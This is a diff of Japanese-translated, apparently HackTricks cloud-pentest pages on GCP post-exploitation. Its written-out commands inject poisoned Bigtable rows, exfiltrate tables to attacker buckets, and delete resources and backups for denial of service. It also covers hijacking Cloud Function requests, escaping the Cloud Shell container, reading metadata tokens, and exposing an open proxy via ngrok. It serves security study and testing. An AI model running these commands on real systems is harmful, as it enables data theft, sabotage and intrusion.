同じツールを使って任意のセルを upsert できます。これは設定を backdoor したり、web shells を配置したり、poisoned dataset rows を仕込んだりする最も手早い方法です。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Inject malicious row</summary>
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` は `@/path` 構文で生のバイト列を受け取るため、compiled payloads や serialized protobufs を下流サービスが期待する形式でそのままプッシュできます。
|
||||
</details>
|
||||
|
||||
### 行をあなたのバケットにダンプする
|
||||
`cbt set` は `@/path` 構文で raw bytes を受け取り、compiled payloads や serialized protobufs を下流サービスが期待する形で正確にプッシュできます。
|
||||
|
||||
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
### 行を自分のバケットにダンプする
|
||||
|
||||
Dataflow ジョブを起動して行をあなたが管理する GCS バケットへストリームすることで、テーブル全体の内容を攻撃者が管理するバケットへ外部へ持ち出すことが可能です。
|
||||
**権限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Dataflow ジョブを起動して行を自分が管理する GCS バケットへストリームすることで、テーブル全体の内容を攻撃者が制御するバケットへ exfiltrate できます。
|
||||
|
||||
> [!NOTE]
|
||||
> エクスポートを実行する十分な権限を持つ SA に対して `iam.serviceAccounts.actAs` の権限が必要です(デフォルトでは、特に指定がない限り default compute SA が使用されます)。
|
||||
> エクスポートを実行するのに十分な権限を持つ SA に対して `iam.serviceAccounts.actAs` の権限が必要であることに注意してください(デフォルトでは、特に指定がない限り、デフォルトの compute SA が使用されます)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable を GCS バケットへエクスポート</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> JSONの代わりにParquet/SequenceFile出力が必要な場合は、テンプレートを`Cloud_Bigtable_to_GCS_Parquet`または`Cloud_Bigtable_to_GCS_SequenceFile`に切り替えてください。権限は同じで、テンプレートのパスだけが変わります。
|
||||
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
|
||||
|
||||
### 行のインポート
|
||||
|
||||
**権限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
**必要な権限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
攻撃者が制御するバケットからテーブル全体の内容をインポートすることは可能で、行をあなたが管理するGCSバケットにストリーミングするDataflowジョブを起動することで実現できます。このため、攻撃者はまず期待されるスキーマでインポートするデータを含むparquetファイルを作成する必要があります。攻撃者は前述の手法に従い`Cloud_Bigtable_to_GCS_Parquet`設定でデータをparquet形式でエクスポートし、ダウンロードしたparquetファイルに新しいエントリを追加することができます。
|
||||
攻撃者がコントロールするバケットからテーブル全体の内容をインポートするには、行を自分が管理する GCS バケットにストリームする Dataflow ジョブを起動します。そのためには、まずインポートするデータを期待されるスキーマで含む parquet ファイルを作成する必要があります。攻撃者は前述の手法で `Cloud_Bigtable_to_GCS_Parquet` 設定を使ってデータを parquet 形式でエクスポートし、ダウンロードした parquet ファイルに新しいエントリを追加する、という手順を踏むことができます。
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> エクスポートを実行するのに十分な権限を持つ Service Account (SA) に対して、`iam.serviceAccounts.actAs` の権限が必要であることに注意してください(デフォルトでは特に指定がない限り、デフォルトの compute SA が使用されます)。
|
||||
> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>GCSバケットからBigtableへのインポート</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
### バックアップの復元
|
||||
|
||||
**権限:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
これらの権限を持つ攻撃者は、自分が管理する新しいテーブルにバックアップを復元して、古い機密データを回復できるようになります。
|
||||
これらの権限を持つ攻撃者は、古い機密データを回収できるように、自分の管理下にある新しいテーブルにバックアップを復元できます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable のバックアップを復元</summary>
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### テーブルの復元
|
||||
</details>
|
||||
|
||||
**権限:** `bigtable.tables.undelete`
|
||||
### Undelete テーブル
|
||||
|
||||
Bigtable はグレース期間(通常デフォルトで7日)付きのソフト削除をサポートしています。この期間中、`bigtable.tables.undelete` 権限を持つ攻撃者は最近削除されたテーブルを復元して全データを回復でき、破棄されたと思われていた機密情報にアクセスする可能性があります。
|
||||
**Permissions:** `bigtable.tables.undelete`
|
||||
|
||||
特に次の目的で有用です:
|
||||
- incident response 中に防御者が削除したテーブルからデータを復元するため
|
||||
- 意図的にパージされた履歴データにアクセスするため
|
||||
- 偶発的または悪意ある削除を元に戻して persistence を維持するため
|
||||
Bigtable は猶予期間(通常はデフォルトで7日)付きのソフト削除をサポートしています。この期間中、`bigtable.tables.undelete` 権限を持つ攻撃者は最近削除されたテーブルを復元して全データを回収でき、破棄されたと思われていた機密情報にアクセスする可能性があります。
|
||||
|
||||
これは特に以下の場合に有用です:
|
||||
- インシデント対応中に defenders によって削除されたテーブルからデータを復元すること
|
||||
- 意図的に抹消された履歴データにアクセスすること
|
||||
- 誤削除や悪意ある削除を元に戻して永続性を維持すること
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Undelete Bigtable table</summary>
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
@@ -134,17 +174,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> undelete 操作は設定された保持期間(デフォルトは 7 日)内でのみ機能します。このウィンドウが経過すると、テーブルとそのデータは完全に削除され、この方法では回復できません。
|
||||
> undelete 操作は構成された保持期間内(デフォルト 7 日間)でのみ機能します。この期間が過ぎると、テーブルとそのデータは完全に削除され、この方法では回復できなくなります。
|
||||
|
||||
|
||||
### Authorized Views を作成する
|
||||
|
||||
**権限:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Authorized views を使うと、テーブルのキュレーションされたサブセットを提示できます。最小権限を尊重する代わりに、関心のある機微なカラム/行のセットだけを正確に公開し、自分のプリンシパルをホワイトリスト化するために使用します。
|
||||
Authorized views により、テーブルのキュレーションされたサブセットを提示できます。最小権限の原則を厳密に守るのではなく、関心のある **正確な機密カラム/行のセット** を公開し、自分のプリンシパルをホワイトリストに登録するために使用します。
|
||||
|
||||
> [!WARNING]
|
||||
> Authorized view を作成するには、ベーステーブルの行を読み取りおよび変更できる必要があるため、追加の権限は得られません。したがって、この手法はほとんど役に立ちません。
|
||||
> 注意点として、authorized view を作成するにはベーステーブルの行を読み取りおよび変更できる必要があるため、追加の権限は得られません。したがってこの手法はほとんど役に立ちません。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>authorized view を作成</summary>
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
@@ -167,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
アクセスが view にスコープされるため、防御側は新たに機密性の高いエンドポイントを作成したことを見落としがちです。
|
||||
</details>
|
||||
|
||||
### Read Authorized Views
|
||||
アクセスはビュー単位でスコープされるため、防御側はあなたが新たに高感度のエンドポイントを作成したことを見落としがちです。
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.readRows`
|
||||
### Authorized View の読み取り
|
||||
|
||||
Authorized View へのアクセス権がある場合、read リクエストで authorized view 名を指定して Bigtable client libraries を使い、そのデータを読み取ることができます。authorized view はテーブルからアクセスできる内容を制限する可能性がある点に注意してください。以下は Python を使用した例です:
|
||||
**権限:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Authorized View へのアクセス権があれば、読み取りリクエストで Authorized View 名を指定することで、Bigtable のクライアントライブラリを使ってそのデータを読み取ることができます。Authorized View はテーブルからアクセスできる内容を制限する可能性がある点に注意してください。以下は Python を使った例です:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Read from authorized view (Python)</summary>
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
@@ -208,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
</details>
|
||||
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**権限:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Bigtable の削除権限はいずれも denial of service 攻撃に悪用され得ます。これらの権限を持つ攻撃者は、重要な Bigtable リソースを削除することで運用を妨害できます:
|
||||
Bigtable の削除権限はいずれも Denial of Service 攻撃に悪用され得る。これらの権限を持つ攻撃者は、重要な Bigtable リソースを削除して運用を妨害できる:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: アプリケーションプロファイルを削除し、クライアント接続やルーティング設定を破壊する
|
||||
- **`bigtable.authorizedViews.delete`**: 承認済みビューを削除し、アプリケーションの正当なアクセス経路を遮断する
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: 承認済みビューからタグバインディングを削除する
|
||||
- **`bigtable.backups.delete`**: バックアップスナップショットを破壊し、ディザスタリカバリの手段を失わせる
|
||||
- **`bigtable.clusters.delete`**: クラスタ全体を削除し、即時にデータが利用不能になる
|
||||
- **`bigtable.instances.delete`**: Bigtable インスタンスを丸ごと削除し、すべてのテーブルと設定を消失させる
|
||||
- **`bigtable.appProfiles.delete`**: アプリケーションプロファイルを削除し、クライアント接続やルーティング構成を破壊する
|
||||
- **`bigtable.authorizedViews.delete`**: authorized views を削除し、アプリケーションの正当なアクセス経路を遮断する
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: authorized views から tag bindings を削除する
|
||||
- **`bigtable.backups.delete`**: バックアップスナップショットを破壊し、ディザスタリカバリの選択肢を失わせる
|
||||
- **`bigtable.clusters.delete`**: クラスタ全体を削除し、即時のデータ利用不可を引き起こす
|
||||
- **`bigtable.instances.delete`**: 完全な Bigtable インスタンスを削除し、すべてのテーブルと設定を消去する
|
||||
- **`bigtable.tables.delete`**: 個々のテーブルを削除し、データ損失やアプリケーション障害を引き起こす
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Delete Bigtable resources</summary>
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
@@ -245,7 +304,9 @@ gcloud bigtable clusters delete <cluster-id> \
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!WARNING]
|
||||
> 削除操作は多くの場合即時かつ元に戻せません。これらのコマンドをテストする前にバックアップが存在することを確認してください。恒久的なデータ損失や深刻なサービス障害を引き起こす可能性があります。
|
||||
|
||||
> 削除操作は多くの場合、即時かつ不可逆的です。これらのコマンドをテストする前にバックアップが存在することを確認してください。永久的なデータ損失や重大なサービスの中断を引き起こす可能性があります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Build
|
||||
|
||||
Cloud Buildに関する詳細情報は、以下を確認してください:
|
||||
Cloud Build の詳細については、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,7 +12,11 @@ Cloud Buildに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
この権限を使用すると、**承認が必要なcodebuildの実行を承認**できます。
|
||||
この権限があれば、**codebuild that require approvals** の実行を承認できます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Build の実行を承認</summary>
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
@@ -24,4 +28,6 @@ object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Cloud Functionsに関する情報を見つけるには、以下を参照してください:
|
||||
Cloud Functions に関する情報は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,20 +12,30 @@ Cloud Functionsに関する情報を見つけるには、以下を参照して
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
この権限を使用すると、Cloud Functionの**ソースコードをダウンロードするための署名付きURLを取得**できます:
|
||||
この権限があれば、Cloud Function のソースコードをダウンロードするための**署名付きURL**を取得できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ソースコードをダウンロードするための署名付きURLを取得</summary>
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### Cloud Function リクエストの盗難
|
||||
</details>
|
||||
|
||||
Cloud Function がユーザーが送信している機密情報(例:パスワードやトークン)を管理している場合、十分な権限があれば、**関数のソースコードを変更してこの情報を外部に流出させる**ことができます。
|
||||
### Cloud Function リクエストの窃取
|
||||
|
||||
さらに、Python で実行されている Cloud Functions は **flask** を使用してウェブサーバーを公開しています。もし、flaks プロセス内にコードインジェクションの脆弱性(例えば SSTI 脆弱性)が見つかれば、**HTTP リクエストを受け取る関数ハンドラーを上書き**して、**リクエストを外部に流出させる悪意のある関数**に変更することが可能です。
|
||||
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
|
||||
|
||||
例えば、このコードは攻撃を実装しています:
|
||||
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
|
||||
|
||||
例えば、次のコードはこの攻撃を実装しています:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Function リクエストの窃取 (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -122,4 +132,8 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,33 +1,49 @@
|
||||
# GCP - Cloud Shell ポストエクスプロイテーション
|
||||
# GCP - Cloud Shell Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
Cloud Shellに関する詳細情報は、以下を確認してください:
|
||||
Cloud Shell の詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### コンテナエスケープ
|
||||
### Container Escape
|
||||
|
||||
Google Cloud Shellはコンテナ内で実行されているため、次の操作を行うことで**ホストに簡単にエスケープ**できます:
|
||||
Google Cloud Shell はコンテナ内で動作しているため、次のようにして **easily escape to the host** できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
これはGoogleによって脆弱性とは見なされていませんが、その環境で何が起こっているかのより広い視野を提供します。
|
||||
</details>
|
||||
|
||||
さらに、ホストからサービスアカウントトークンを見つけることができることに注意してください:
|
||||
これは google によって脆弱性とは見なされませんが、その環境で何が起きているかをより広く把握できます。
|
||||
|
||||
さらに、ホスト上から service account token を見つけられる点に注意してください:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get service account from metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
次のスコープで:
|
||||
</details>
|
||||
|
||||
以下のスコープ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>サービスアカウントのスコープを取得</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
メタデータをLinPEASで列挙する:
|
||||
</details>
|
||||
|
||||
LinPEASでメタデータを列挙する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>LinPEASでメタデータを列挙する</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions)をService Accountのトークンで使用した後、**権限は発見されませんでした**...
|
||||
</details>
|
||||
|
||||
### プロキシとして使用する
|
||||
[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) を Service Account のトークンで使用した後、**権限は見つかりませんでした**...
|
||||
|
||||
Google Cloud Shellインスタンスをプロキシとして使用する場合は、以下のコマンドを実行する必要があります(または.bashrcファイルに挿入します):
|
||||
### Proxy として使用する
|
||||
|
||||
もし google cloud shell instance を proxy として使用したい場合、次のコマンドを実行する必要があります(または .bashrc ファイルに挿入してください):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Squid proxy をインストール</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
**squid.conf** ファイルを以下の設定で作成します:
|
||||
</details>
|
||||
|
||||
参考までに、Squid は http プロキシサーバーです。次の設定で **squid.conf** ファイルを作成してください:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>squid.conf ファイルを作成</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
**squid.conf**ファイルを**/etc/squid**にコピーします。
|
||||
</details>
|
||||
|
||||
**squid.conf** ファイルを **/etc/squid** にコピーする
|
||||
|
||||
<details>
|
||||
|
||||
<summary>設定を **/etc/squid** にコピー</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
最後に、squidサービスを実行します:
|
||||
</details>
|
||||
|
||||
最後に Squid サービスを起動します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Squid サービスを起動</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
ngrokを使用してプロキシを外部から利用可能にします:
|
||||
</details>
|
||||
|
||||
ngrok を使って proxy を外部から利用できるようにします:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ngrok で proxy を公開する</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
tcp:// URLをコピーした後、ブラウザからプロキシを実行したい場合は、tcp://部分とポートを削除し、ポートをブラウザのプロキシ設定のポートフィールドに入力することをお勧めします(squidはHTTPプロキシサーバーです)。
|
||||
</details>
|
||||
|
||||
起動時のより良い使用のために、.bashrcファイルには以下の行を含めるべきです:
|
||||
実行後、tcp:// の URL をコピーしてください。ブラウザから proxy を実行したい場合は、tcp:// の部分とポートを削除し、ブラウザのプロキシ設定のポート欄にそのポートを入力することをお勧めします(squid は http プロキシサーバーです)。
|
||||
|
||||
起動時に使いやすくするため、.bashrc ファイルに以下の行を追加してください:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>.bashrc に自動起動用の設定を追加</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
指示は[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)からコピーされました。そのページで、Cloud Shellであらゆる種類のソフトウェア(データベースやWindowsさえも)を実行するための他のクレイジーなアイデアを確認してください。
|
||||
</details>
|
||||
|
||||
これらの手順は [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) からコピーされました。Cloud Shell であらゆる種類のソフトウェア(databases や windows ですら)を実行するための他の奇抜なアイデアについては、そのページを確認してください。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Cloud SQL ポストエクスプロイテーション
|
||||
# GCP - Cloud SQL Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
Cloud SQLに関する詳細情報は、以下を確認してください:
|
||||
Cloud SQL の詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
@@ -12,7 +12,11 @@ Cloud SQLに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
データベースに接続するには、**データベースポートへのアクセス**と**ユーザー名**および**パスワード**を知っているだけで、IAMの要件はありません。したがって、データベースにパブリックIPアドレスがあると仮定した場合、アクセスを取得する簡単な方法は、許可されたネットワークを更新し、**自分のIPアドレスがアクセスできるようにする**ことです。
|
||||
データベースに接続するには、**database port へのアクセス**と **username** と **password** を知っていれば十分で、IAM の要件はありません。つまり、データベースが public IP address を持っている場合、簡単な方法は allowed networks を更新して **your own IP address がアクセスできるようにする** ことです。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>自分の IP を許可して database に接続する</summary>
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
**`--no-backup`**を使用して、データベースの**バックアップを中断**することも可能です。
|
||||
</details>
|
||||
|
||||
これらが要件であるため、**`cloudsql.instances.connect`**と**`cloudsql.instances.login`**の権限が何であるかは完全にはわかりません。知っている方はPRを送ってください!
|
||||
また、**`--no-backup`** を使用してデータベースのバックアップを**妨害する**ことも可能です。
|
||||
|
||||
これらが要件として書かれているため、**`cloudsql.instances.connect`** と **`cloudsql.instances.login`** の権限が正確に何をするものか私は完全には確信が持てません。もしご存知ならPRを送ってください!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
データベースの**すべてのユーザーのリスト**を取得します:
|
||||
データベースの**全ユーザーの一覧**を取得します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>データベースのユーザー一覧</summary>
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
この権限は、**データベース内に新しいユーザーを作成する**ことを許可します:
|
||||
この権限により、データベース内に**新しいユーザーを作成する**ことができます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>データベースユーザーを作成</summary>
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
この権限は**データベース内のユーザーを更新**することを許可します。例えば、パスワードを変更することができます:
|
||||
この権限はデータベース内のユーザーを**更新する**ことを許可します。たとえば、そのパスワードを変更できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ユーザーのパスワードを更新</summary>
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
バックアップには**古い機密情報**が含まれている可能性があるため、確認することが興味深いです。\
|
||||
**データベース内のバックアップを復元**します:
|
||||
バックアップには**古い機密情報**が含まれている可能性があるため、確認する価値がある。\
|
||||
**データベース内でバックアップを復元する**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>データベースのバックアップを復元</summary>
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
よりステルスな方法で行うには、新しいSQLインスタンスを作成し、現在稼働中のデータベースではなく、そこにデータを復元することをお勧めします。
|
||||
</details>
|
||||
|
||||
よりステルスに行うには、現在稼働中のデータベースで復元するのではなく、新しい SQL インスタンスを作成してそちらでデータを復元することを推奨します。
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
この権限はバックアップを削除することを許可します:
|
||||
この権限はバックアップを削除することを許可します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>バックアップを削除</summary>
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**データベースをエクスポート**してCloud Storageバケットに保存し、そこからアクセスできるようにします:
|
||||
**データベースをエクスポートする** — Cloud Storage Bucket にエクスポートして、そこからアクセスできるようにします:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>データベースをバケットにエクスポート</summary>
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**Cloud Storage バケットからデータベースをインポート**(上書き):
|
||||
